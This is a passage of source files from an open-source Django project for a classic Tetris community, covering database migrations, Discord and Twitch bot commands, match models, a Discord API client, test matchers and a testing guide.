model_name='qualifier',\n name='qualifying_type',\n field=models.IntegerField(choices=[(1, 'Highest Score'), (2, 'Highest 2 Scores'), (3, 'Highest 3 Scores'), (4, 'Most Maxouts'), (5, 'Lowest Time')]),\n ),\n ]\n" }, { "alpha_fraction": 0.5512195229530334, "alphanum_fraction": 0.6024390459060669, "avg_line_length": 21.77777862548828, "blob_id": "0cd06f2f04910b9e1486ca255bbb6ad6f6b8c541", "content_id": "b5ebce7dc9934b56e8288f3556631275d20d92e0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 410, "license_type": "permissive", "max_line_length": 61, "num_lines": 18, "path": "/classic_tetris_project/migrations/0019_discorduser_username.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-04-02 07:27\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0018_websiteuser'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='discorduser',\n name='username',\n field=models.CharField(max_length=32, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6557376980781555, "alphanum_fraction": 0.6973518133163452, "avg_line_length": 29.5, "blob_id": "1df84bb4a5537a4cfa572781c79ef87c3c040414", "content_id": "a8e58d5436508641e266e5ca8a39b434f32b5dce", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 793, "license_type": "permissive", "max_line_length": 73, "num_lines": 26, "path": "/classic_tetris_project/migrations/0025_populate_discord_user_fields.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.10 on 2020-05-20 05:21\n\nfrom django.db import migrations\nimport time\n\nfrom classic_tetris_project import discord\n\ndef populate_discord_users(apps, schema_editor):\n DiscordUser = apps.get_model('classic_tetris_project', 'DiscordUser')\n\n for discord_user in DiscordUser.objects.all():\n user_obj = discord.API.user_from_id(discord_user.discord_id)\n discord_user.username = user_obj.name\n discord_user.discriminator = user_obj.discriminator\n discord_user.save()\n time.sleep(1) # Avoid running into Discord's rate limit\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0024_auto_20200520_0517'),\n ]\n\n operations = [\n migrations.RunPython(populate_discord_users),\n ]\n" }, { "alpha_fraction": 0.5242369771003723, "alphanum_fraction": 0.5655296444892883, "avg_line_length": 23.217391967773438, "blob_id": "da647dacc85ce8201731ea6653f2bf45a61683d1", "content_id": "cef7aa70f9319cf7481888032a9cc133c1b9a21c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 557, "license_type": "permissive", "max_line_length": 55, "num_lines": 23, "path": "/classic_tetris_project/migrations/0014_auto_20200313_0819.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 2.2.4 on 2020-03-13 08:19\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0013_delete_coin'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='user',\n name='ntsc_pb_19',\n field=models.IntegerField(null=True),\n ),\n migrations.AddField(\n model_name='user',\n name='ntsc_pb_19_updated_at',\n field=models.DateTimeField(null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.5584415793418884, "alphanum_fraction": 0.5601731538772583, "avg_line_length": 36.16128921508789, "blob_id": "a4f3990c908c3ba786ce6cf6fcf523600b8a334d", "content_id": "ab16ff702d46339dc3ad5fa09261f0e724747170", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1155, "license_type": "permissive", "max_line_length": 76, "num_lines": 31, "path": "/classic_tetris_project/commands/pb_zip.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from io import BytesIO\nimport zipfile\nfrom .command import Command, CommandException\nfrom ..models.users import TwitchUser\n\[email protected]_discord(\"obsfiles\", usage=\"obsfiles [type=ntsc]\")\nclass ZipFileCommand(Command):\n\n def execute(self, pb_type=\"ntsc\"):\n\n self.check_moderator()\n\n buffer = BytesIO()\n with zipfile.ZipFile(buffer, \"a\", zipfile.ZIP_DEFLATED, False) as z:\n for twitch_user in TwitchUser.objects.all():\n pb = twitch_user.user.get_pb(pb_type)\n\n if pb is not None:\n name = f\"{twitch_user.username}_{pb_type}_pb.txt\"\n contents = \"{n:,}\".format(n=pb)\n z.writestr(name, contents)\n\n name = f\"{twitch_user.username}_playstyle.txt\"\n contents = \"\"\n if twitch_user.user.playstyle is not None:\n contents = twitch_user.user.playstyle[:3].upper()\n contents = contents if contents != \"HYP\" else \"TAP\"\n z.writestr(name, contents)\n\n buffer.seek(0)\n self.context.send_file(buffer, \"pbs.zip\")\n\n\n\n" }, { "alpha_fraction": 0.6412788033485413, "alphanum_fraction": 0.6426892280578613, "avg_line_length": 30.27941131591797, "blob_id": "c1941d02d66c016927372cedec4e658450893062", "content_id": "a690f1c163b89105fb3c427c7907785459a0262f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2127, "license_type": "permissive", "max_line_length": 96, "num_lines": 68, "path": "/classic_tetris_project/test_helper/matchers.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from hamcrest.core.base_matcher import BaseMatcher\nimport lxml.html\n\nclass UsesTemplate(BaseMatcher):\n def __init__(self, template):\n self.template = template\n\n def _matches(self, response):\n for template in response.templates:\n if template.name == self.template:\n return True\n return False\n\n def describe_to(self, description):\n description.append_text(f\"uses template: '{self.template}'\")\n\n def describe_mismatch(self, response, description):\n description.append_text(\"used templates: \")\n description.append_text(str([t.name for t in response.templates]))\n\ndef uses_template(template):\n return UsesTemplate(template)\n\n\nclass HasHtml(BaseMatcher):\n def __init__(self, selector, text):\n self.selector = selector\n self.text = text\n\n def _matches(self, response):\n html = lxml.html.fromstring(response.content)\n elements = html.cssselect(self.selector)\n if not elements:\n return False\n if self.text:\n for element in elements:\n if element.text.strip() == self.text:\n return True\n else:\n return True\n return False\n\n def describe_to(self, description):\n description.append_text(f\"HTML with element matching '{self.selector}'\")\n if self.text:\n description.append_text(f\" with text '{self.text}'\")\n\n def describe_mismatch(self, response, description):\n description.append_text(\"got \")\n description.append_text(response.content)\n\ndef has_html(selector, text=None):\n return HasHtml(selector, text)\n\n\nclass RedirectsTo(BaseMatcher):\n def __init__(self, url, status_code):\n self.url = url\n self.status_code = status_code\n\n def _matches(self, response):\n return response.status_code == self.status_code and response.url == self.url\n\n def describe_to(self, description):\n description.append_text(f\"redirect to '{self.url}' with status code {self.status_code}\")\n\ndef redirects_to(url, status_code=302):\n return RedirectsTo(url, status_code)\n" }, { "alpha_fraction": 0.5964373350143433, "alphanum_fraction": 0.5976658463478088, "avg_line_length": 38.70731735229492, "blob_id": "75dc1dd7e9f6ff16710e3558e11f8c5e3139482c", "content_id": "1193db9babedfcb37e14c8178686f522ab9cf0bc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1628, "license_type": "permissive", "max_line_length": 102, "num_lines": 41, "path": "/classic_tetris_project/commands/same_piece_sets.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from .command import Command, CommandException\nfrom ..util import Platform\n\[email protected](\"samepieces\", \"samepiecesets\", \n usage=\"samepieces [username] (default username you)\")\nclass GetSamePiecesCommand(Command):\n def execute(self, *username):\n username = username[0] if len(username) == 1 else self.context.args_string\n platform_user = (self.platform_user_from_username(username) if username\n else self.context.platform_user)\n\n if not platform_user or not platform_user.user:\n self.send_message(\"The specified user does not exist.\")\n\n user = platform_user.user\n\n s = \"CAN\" if user.same_piece_sets else \"CANNOT\"\n if self.context.platform == Platform.DISCORD:\n s = \"**\" + s + \"**\"\n\n self.send_message(\"{user_tag} {ability} use same piece sets.\".format(\n user_tag = platform_user.user_tag,\n ability = s\n ))\n\n\[email protected](\"setsamepieces\", \"setsamepiecesets\", \n usage=\"setsamepieces [y/n]\")\nclass SetSamePiecesCommand(Command):\n def execute(self, value):\n print(\"EXECUTING\")\n if self.context.user.set_same_piece_sets(value):\n ability = \"Yes\" if self.context.user.same_piece_sets else \"No\"\n self.send_message(\n \"{user_tag} - Your ability to use same piece sets has been set to: {ability}.\".format(\n user_tag=self.context.platform_user.user_tag,\n ability=\"\\\"\" + ability + \"\\\"\"\n ))\n\n else:\n self.send_message(\"Invalid option - must be y/n.\")\n" }, { "alpha_fraction": 0.6310181617736816, "alphanum_fraction": 0.6416732668876648, "avg_line_length": 33.24324417114258, "blob_id": "f4ba49eece591c7ab868c86cd820cee3c2251aea", "content_id": "4ec7d71eb81f39414f3795b2bf8ab8b51f877336", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2534, "license_type": "permissive", "max_line_length": 91, "num_lines": 74, "path": "/classic_tetris_project/models/matches.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.core.validators import MinValueValidator\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom .users import User\nfrom .twitch import TwitchChannel\n\n\nclass Match(models.Model):\n player1 = models.ForeignKey(User, on_delete=models.PROTECT, related_name=\"+\")\n player2 = models.ForeignKey(User, on_delete=models.PROTECT, related_name=\"+\")\n wins1 = models.IntegerField(default=0, validators=[MinValueValidator(0)])\n wins2 = models.IntegerField(default=0, validators=[MinValueValidator(0)])\n channel = models.ForeignKey(TwitchChannel, null=True, on_delete=models.PROTECT)\n vod = models.URLField(null=True, blank=True)\n reported_by = models.ForeignKey(User, null=True, blank=True, on_delete=models.SET_NULL,\n related_name=\"+\", db_index=False)\n\n start_date = models.DateTimeField(null=True, blank=True)\n # Null until the match has ended\n ended_at = models.DateTimeField(null=True, blank=True)\n\n # time synced to match reporting sheet\n synced_at = models.DateTimeField(null=True, blank=True)\n\n class Meta:\n verbose_name_plural = 'matches'\n\n def add_game(self, winner, losing_score):\n if winner == self.player1 or winner == self.player2:\n game = Game(match=self, winner=winner, losing_score=losing_score)\n game.save()\n\n if winner == self.player1:\n self.wins1 += 1\n else:\n self.wins2 += 1\n self.save()\n\n else:\n raise ValueError(\"Winner is not a player in the match\")\n\n def get_current_winner(self):\n if self.wins1 > self.wins2:\n return self.player1\n elif self.wins2 > self.wins1:\n return self.player2\n else:\n return None\n\n def winner_wins(self):\n return max([self.wins1, self.wins2])\n\n def loser_wins(self):\n return min([self.wins1, self.wins2])\n\n def end(self, reported_by):\n if not self.ended_at:\n self.ended_at = timezone.now()\n self.reported_by = reported_by\n self.save()\n if hasattr(self, \"tournament_match\"):\n self.tournament_match.update_from_match()\n\n def __str__(self):\n return f\"{self.player1} vs. {self.player2}\"\n\n\nclass Game(models.Model):\n match = models.ForeignKey(Match, on_delete=models.CASCADE)\n winner = models.ForeignKey(User, on_delete=models.PROTECT)\n losing_score = models.IntegerField(null=True)\n\n ended_at = models.DateTimeField(auto_now_add=True)\n" }, { "alpha_fraction": 0.5092693567276001, "alphanum_fraction": 0.512540876865387, "avg_line_length": 33.58490753173828, "blob_id": "7c894fd4d561a9d3a8f8d2460506dffef8df2faf", "content_id": "d13a1398aed4299c17c28772c44094ff733c87c1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1834, "license_type": "permissive", "max_line_length": 65, "num_lines": 53, "path": "/classic_tetris_project/commands/export.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import csv\nfrom django.core.cache import cache\n\nfrom .command import Command, CommandException\nfrom ..models import User\n\n\[email protected]_discord(\"export\", usage=\"export\")\nclass ExportDatabaseCommand(Command):\n def execute(self, *args):\n self.check_private()\n\n if cache.get(\"pbcsv\"):\n self.context.send_file(\"cache/pbs.csv\")\n return\n\n fields = [\"twitch_id\", \"twitch_username\",\n \"ntsc_pb\", \"ntsc_pb_updated_at\",\n \"pal_pb\", \"pal_pb_updated_at\",\n \"country_code\", \"country\",\n \"nickname\"]\n\n with open(\"cache/pbs.csv\", \"w\") as file:\n\n writer = csv.DictWriter(file, fieldnames=fields)\n\n for user in User.objects.all():\n if not hasattr(user, \"twitch_user\"):\n continue\n\n ntsc = user.get_pb_object(console_type=\"ntsc\")\n ntscpb = ntsc.score if ntsc else None\n ntscts = ntsc.created_at if ntsc else None\n pal = user.get_pb_object(console_type=\"pal\")\n palpb = pal.score if pal else None\n palts = pal.created_at if pal else None\n\n d = {\n \"twitch_id\": user.twitch_user.twitch_id,\n \"twitch_username\": user.twitch_user.username,\n \"nickname\": user.preferred_name or None,\n \"country_code\": user.country or None,\n \"country\": user.get_country(),\n \"ntsc_pb\": ntscpb,\n \"ntsc_pb_updated_at\": ntscts,\n \"pal_pb\": palpb,\n \"pal_pb_updated_at\": palts,\n }\n\n writer.writerow(d)\n\n self.context.send_file(\"cache/pbs.csv\")\n cache.set(\"pbcsv\", True, timeout=24*60*60)\n\n" }, { "alpha_fraction": 0.6493055820465088, "alphanum_fraction": 0.6493055820465088, "avg_line_length": 27.09756088256836, "blob_id": "6ad5f7a75ffb624fe9a0bbcccb56925af9195271", "content_id": "a71f51584e6a45ff8c6e9e2abb1c9528d8994f31", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1152, "license_type": "permissive", "max_line_length": 100, "num_lines": 41, "path": "/classic_tetris_project/models/twitch.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "from django.db import models\n\nfrom .users import TwitchUser\nfrom ..util import memoize\nfrom .. import twitch\n\n\nclass TwitchChannel(models.Model):\n twitch_user = models.OneToOneField(TwitchUser, on_delete=models.CASCADE, related_name=\"channel\",\n primary_key=True)\n connected = models.BooleanField(default=False, db_index=True)\n\n @property\n def name(self):\n return self.twitch_user.display_name\n\n def summon_bot(self):\n self.connected = True\n self.save()\n # TODO add ability to join/leave channels from a different process\n if twitch.client.connection.connected:\n twitch.client.join_channel(self.name)\n\n def eject_bot(self):\n self.connected = False\n self.save()\n twitch.client.leave_channel(self.name)\n\n @property\n @memoize\n def client_channel(self):\n return twitch.client.get_channel(self.name)\n\n def send_message(self, message):\n self.client_channel.send_message(message)\n\n def twitch_url(self):\n return self.twitch_user.twitch_url\n\n def __str__(self):\n return str(self.twitch_user)\n" }, { "alpha_fraction": 0.6231883764266968, "alphanum_fraction": 0.6653491258621216, "avg_line_length": 33.5, "blob_id": "e2eb328aed7e37803372115f9d2be5fb9a1d839d", "content_id": "42d9c6108767e0eb9466adb884f07d1648d69997", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 759, "license_type": "permissive", "max_line_length": 91, "num_lines": 22, "path": "/classic_tetris_project/migrations/0062_auto_20220131_0118.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-01-31 01:18\n\nfrom django.db import migrations\n\ndef update_tournament_placeholders(apps, schema_editor):\n Tournament = apps.get_model(\"classic_tetris_project\", \"Tournament\")\n for tournament in Tournament.objects.all():\n if tournament.placeholders:\n for key in tournament.placeholders.keys():\n if isinstance(tournament.placeholders[key], str):\n tournament.placeholders[key] = { \"name\": tournament.placeholders[key] }\n tournament.save()\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0061_auto_20220129_2001'),\n ]\n\n operations = [\n migrations.RunPython(update_tournament_placeholders),\n ]\n" }, { "alpha_fraction": 0.5584725737571716, "alphanum_fraction": 0.6062052249908447, "avg_line_length": 22.27777862548828, "blob_id": "f928cf6adbf0594d06e6531b9f2e67767bcb474e", "content_id": "3750db42dc0e61d32eee996853645aff7549bea2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 419, "license_type": "permissive", "max_line_length": 67, "num_lines": 18, "path": "/classic_tetris_project/migrations/0066_match_synced_at.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.11 on 2022-04-10 17:01\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0065_twitchuser_display_name'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='match',\n name='synced_at',\n field=models.DateTimeField(blank=True, null=True),\n ),\n ]\n" }, { "alpha_fraction": 0.6796748042106628, "alphanum_fraction": 0.6807588338851929, "avg_line_length": 28.75806427001953, "blob_id": "bd9fd400b1014b5a28600e3c19d9c57bd602d165", "content_id": "fe8490738133f0564cbb6d51b23c43bd552dc057", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1845, "license_type": "permissive", "max_line_length": 96, "num_lines": 62, "path": "/classic_tetris_project/discord.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import discord\nimport logging\nimport requests\n\nfrom asgiref.sync import async_to_sync\nfrom .env import env\n\nDISCORD_API = \"https://discord.com/api/\"\nGUILD_ID = int(env(\"DISCORD_GUILD_ID\", default=0))\nMODERATOR_ROLE_ID = int(env(\"DISCORD_MODERATOR_ROLE_ID\", default=0))\n\nintents = discord.Intents(\n guilds=True,\n members=True,\n messages=True,\n)\nclient = discord.Client(intents=intents)\nlogger = logging.getLogger(\"discord-bot\")\n\ndef wrap_user_dict(user_dict):\n return discord.user.BaseUser(state=None, data=user_dict)\n\nclass APIClient:\n def __init__(self, discord_token):\n self.discord_token = discord_token\n self.headers = {\n \"Authorization\": f\"Bot {self.discord_token}\",\n }\n\n # TODO Better respect Discord's rate limiting:\n # https://discord.com/developers/docs/topics/rate-limits\n def _request(self, endpoint, params={}):\n response = requests.get(f\"{DISCORD_API}{endpoint}\", params=params, headers=self.headers)\n return response.json()\n\n def user_from_id(self, user_id):\n return wrap_user_dict(self._request(f\"users/{user_id}\"))\n\nAPI = APIClient(env(\"DISCORD_TOKEN\", default=\"\"))\n\n\ndef get_guild():\n return client.get_guild(GUILD_ID)\n\n# Returns the guild member of the Discord user for the given guild id.\n# If not found, returns the guild member for the bot's guild.\n# Otherwise, returns None.\ndef get_guild_member(user_id, guild_id=None):\n def _get_member(guild_id):\n guild = client.get_guild(guild_id)\n if guild:\n return guild.get_member(user_id)\n return _get_member(guild_id) or _get_member(GUILD_ID) or None\n\ndef get_channel(id):\n return client.get_channel(id)\n\ndef get_emote(name):\n r = discord.utils.get(get_guild().emojis, name=name)\n return str(r) if r else None\ndef get_emoji(name):\n return get_emote(name)\n" }, { "alpha_fraction": 0.5988909602165222, "alphanum_fraction": 0.6561922430992126, "avg_line_length": 27.473684310913086, "blob_id": "c4b558e7518f9aaf46f73dad8fe54c3c16941ae5", "content_id": "800330dcab9af65b49186c2f5f46490092ad76e1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "permissive", "max_line_length": 147, "num_lines": 19, "path": "/classic_tetris_project/migrations/0029_auto_20201205_1921.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2020-12-05 19:21\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0028_auto_20201130_0208'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='customcommand',\n name='alias_for',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.customcommand'),\n ),\n ]\n" }, { "alpha_fraction": 0.5542452931404114, "alphanum_fraction": 0.6273584961891174, "avg_line_length": 23.941177368164062, "blob_id": "ae55b8489d994e7c068d6a69e85128c278df46a3", "content_id": "e34a666eb778221608a3773b2b3858cbd6bc409a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 424, "license_type": "permissive", "max_line_length": 98, "num_lines": 17, "path": "/classic_tetris_project/migrations/0053_auto_20210607_0343.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-06-07 03:43\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0052_auto_20210607_0311'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='tournamentmatch',\n options={'permissions': [('restream', 'Can schedule and report restreamed matches')]},\n ),\n ]\n" }, { "alpha_fraction": 0.5969101190567017, "alphanum_fraction": 0.617977499961853, "avg_line_length": 52.400001525878906, "blob_id": "b95890aa4b97f95017bf795f8618f0b6a2c54365", "content_id": "5253ca83bdc3f5148768f456b1f08efc2a0f95cc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2136, "license_type": "permissive", "max_line_length": 158, "num_lines": 40, "path": "/classic_tetris_project/migrations/0040_auto_20210327_1831.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Generated by Django 3.1.3 on 2021-03-27 18:31\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('classic_tetris_project', '0039_auto_20210228_0824'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='tournamentplayer',\n old_name='event',\n new_name='tournament',\n ),\n migrations.AlterField(\n model_name='tournamentplayer',\n name='qualifier',\n field=models.OneToOneField(on_delete=django.db.models.deletion.RESTRICT, related_name='tournament_player', to='classic_tetris_project.qualifier'),\n ),\n migrations.CreateModel(\n name='TournamentMatch',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('match_number', models.IntegerField()),\n ('source1_type', models.IntegerField(choices=[(1, 'None'), (2, 'Seed'), (3, 'Match Winner'), (4, 'Match Loser')])),\n ('source1_data', models.IntegerField()),\n ('source2_type', models.IntegerField(choices=[(1, 'None'), (2, 'Seed'), (3, 'Match Winner'), (4, 'Match Loser')])),\n ('source2_data', models.IntegerField()),\n ('loser', models.ForeignKey(on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer')),\n ('player1', models.ForeignKey(on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer')),\n ('player2', models.ForeignKey(on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer')),\n ('tournament', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='classic_tetris_project.tournament')),\n ('winner', models.ForeignKey(on_delete=django.db.models.deletion.RESTRICT, related_name='+', to='classic_tetris_project.tournamentplayer')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.6056622862815857, "alphanum_fraction": 0.6188068985939026, "avg_line_length": 27.22857093811035, "blob_id": "7f356f8db53d51926a5d055beb9326693f8817e6", "content_id": "1ec10424212711e1e18b50516104d845aef93e87", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 989, "license_type": "permissive", "max_line_length": 78, "num_lines": 35, "path": "/classic_tetris_project/commands/countdown.py", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "import time\nfrom django.core.cache import cache\nfrom random import randint\n\nfrom .command import Command, CommandException\n\nMIN_COUNTDOWN = 3\nMAX_COUNTDOWN = 5\n\[email protected]_twitch(*map(str, range(MIN_COUNTDOWN, MAX_COUNTDOWN + 1)),\n usage=None)\nclass Countdown(Command):\n @property\n def usage(self):\n return self.context.command_name\n\n def execute(self):\n self.check_public()\n self.check_moderator()\n\n n = int(self.context.command_name)\n self.check_validity(n)\n\n for i in range(n, 0, -1):\n self.send_message(str(i))\n time.sleep(1)\n\n self.send_message(\"Texas!\" if randint(1,100) == 42 else \"Tetris!\")\n\n def check_validity(self, n):\n channel = self.context.channel.name\n if cache.get(f\"countdown_in_progress.{channel}\") is not None:\n raise CommandException()\n else:\n cache.set(f\"countdown_in_progress.{channel}\", True, timeout=(n+1))\n\n" }, { "alpha_fraction": 0.7733734846115112, "alphanum_fraction": 0.77451491355896, "avg_line_length": 108.51136016845703, "blob_id": "8aec361e1f08cfc890fe2579e29c3003ceb549a0", "content_id": "dbe4cb54bd071009ba8f25245fef549d53509397", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 9637, "license_type": "permissive", "max_line_length": 787, "num_lines": 88, "path": "/docs/TESTING.md", "repo_name": "professor-l/classic-tetris-project", "src_encoding": "UTF-8", "text": "# Testing\n\n## Why test?\nTesting becomes an important part of any project as it grows larger. Arguably the most important reason for writing tests is to avoid *regression*. Regression testing involves running the existing test suite after making changes in order to make sure that your changes don't break any existing areas of the code base. If any tests fail, then either there's a bug in your changes that you should fix, or the functionality of the code being tested has intentionally changed and those tests should be updated to reflect that change. Of course, regression testing will only prevent you from breaking areas of the code base that are well-tested.\n\nAnother reason for testing is to make sure the code that you're writing works as expected. The test-driven development (TDD) methodology recommends that you treat tests as a spec that describes the code you're writing; that is, you should write a test, run it and watch it fail, write the minimum amount of code needed to make the test pass, and repeat. We provide no recommendation on whether you should write your tests before, during, or after writing your code, but I would recommend trying out TDD at some point as an exercise to gain an understanding of how writing tests can inform the code that you're writing. It's easy to get caught in a trap where you write tests afterward and your tests only describe the code that you wrote instead of describing the intended functionality.\n\nIn any case, writing tests along with your code can surface corner cases or other scenarios that you may not have considered when writing the code. It can also be a good tool to quickly iterate on your code to make it work as intended instead of having to continually go through the sluggish process of testing it manually.\n\n\n## When to test\nIdeally, always. The better test coverage an area of code has, the less likely it is to break. As of writing, most of the code base is untested, but over time we should aim to backfill these tests as we touch different components and as it makes sense to. However, testing can sometimes be a cumbersome process that slows down development. Tests are most important around brittle areas of the code base that rely on a lot of other code and that can easily break. As an example, we should write integration tests for bot commands since much of the code base's functionality is exposed to users through commands. We should also plan to write unit tests around the most critical areas of code.\n\nGoing forward, most new code should be tested -- especially code that is easily broken or important to other parts of the code base. When testing a method or feature, it's good practice to make sure you're thinking about and writing tests for the typical use cases as well as any corner cases that may arise. You should aim for your tests to exercise all possible code paths through the method or feature that you're testing; this can be measured using tools such as [coverage.py](https://coverage.readthedocs.io/en/coverage-5.1/).\n\n\n## How to test\nWe mostly use Django's testing framework, with a few modifications (heavily inspired by [RSpec](https://rspec.info/), if you're familiar). To start with, I recommend reading through some of Django's [documentation on testing](https://docs.djangoproject.com/en/2.2/topics/testing/).\n\nTest are organized inside of test classes that inherit from `TestCase`. Each test class can have multiple test methods, which are each run individually. Tests use their own test database, which is reset between each test.\n\nAll tests should be contained in the `tests/` directory, whose structure mirrors that of `classic_tetris_project/`. Each file being tested should have an associated test file whose name is prefixed with `test_`. Each class being tested should be tested in a test class that inherits from `TestCase`. All test method names should begin with `test_`. For example, if `classic_tetris_project/models/users.py` contained a class named `User`, then we would write tests for this class in `tests/models/test_users.py`, which would contain:\n```python\nclass UserTestCase(TestCase):\n def test_that_it_does_something(self):\n ...\n```\n\n### Writing tests\nYour most important resource when writing tests is our [`tests.helper`](https://github.com/professor-l/classic-tetris-project/blob/master/tests/helper/__init__.py) module. This imports a bunch of useful testing tools for you so that you don't have to import a million things at the top of each of your test files. Every test file should begin with:\n```python\nfrom classic_tetris_project.tests.helper import *\n```\n\nSome of the tools included are:\n- [factory_boy](https://factoryboy.readthedocs.io/en/latest/) is a substitute for Django's fixtures that makes building model instances during testing easier. Factories are defined in the `tests.helpers.factories` module. Each factory class can be called to create an instance of its associated model:\n ```python\n # creates a ScorePB with some default values and an associated User\n score_pb = ScorePBFactory(starting_level=18)\n ```\n All factories are included in `tests.helper`.\n- [mock](https://docs.python.org/3/library/unittest.mock.html) allows you to mock out parts of the system during testing in order to isolate the functionality that you want to test. For example, you might mock out a discord.py API call to return a specific value, or assert that a method was called with specific arguments. I most frequently find myself using the `@patch` or `@patch.object` decorators around test methods.\n- The `@lazy` decorator (defined in [`memo.py`](https://github.com/professor-l/classic-tetris-project/blob/master/classic_tetris_project/util/memo.py)) composes the `@property` and `@memoize` decorators. I find this particularly useful to define *lazy resources* in test cases where multiple of the test methods share a variable (e.g. a `User` instance). For example, I might define a lazy `user` resource on a test case:\n ```python\n @lazy\n def user(self):\n return UserFactory()\n ```\n Then every test method in that test case has access to `self.user` without having to explicitly write code to create a `User` each time; a `User` is created the first time that `self.user` is invoked and remembered in subsequent invocations. This can be better than creating a `User` in the `setUp` method since `setUp` is common to all test methods in a test case. A particular resource might be necessary for only a subset of test methods, so we avoid the waste of creating a bunch of extra resources before each test method by creating them lazily as needed.\n\n Note that it will sometimes make sense to call `self.user` in a test method without using its return value in order to insert the record into the database.\n- When writing unit tests, I recommend using the `describe` context manager to help organize tests for different methods, e.g.\n ```python\n class UserTestCase(TestCase):\n with describe(\"#add_pb\"):\n def test_add_pb_creates_score_pb(self):\n ...\n\n with describe(\"#get_pb\"):\n def test_get_pb_returns_greatest_score(self):\n ...\n ```\n `describe` has no actual effect, but it can group related test methods together inside an indented block, which helps make the test suite more readable. I recommend naming instance methods as `#instance_method_name` and static and class methods as `.static_method_name`, though you may use `describe` to create other groupings (i.e. you could separate out testing the Discord and Twitch versions of commands).\n- When writing tests for bot commands, you should extend the `CommandTestCase` class. This stubs out logging and Twitch API calls, provides a bunch of lazy resources that are generally useful for testing commands, and defines the `assertDiscord` and `assertTwitch` instance methods, which can be used to check that running a specific command string will result in the bot sending a message or sequence of messages.\n\nI would recommend starting by looking at some of the tests in `tests/` to get a feel for how the existing test suite is written. Feel free to contact dexfore if you have any questions about writing tests.\n\n### Running tests\nWe use [nose](https://nose.readthedocs.io/en/latest/) as the test 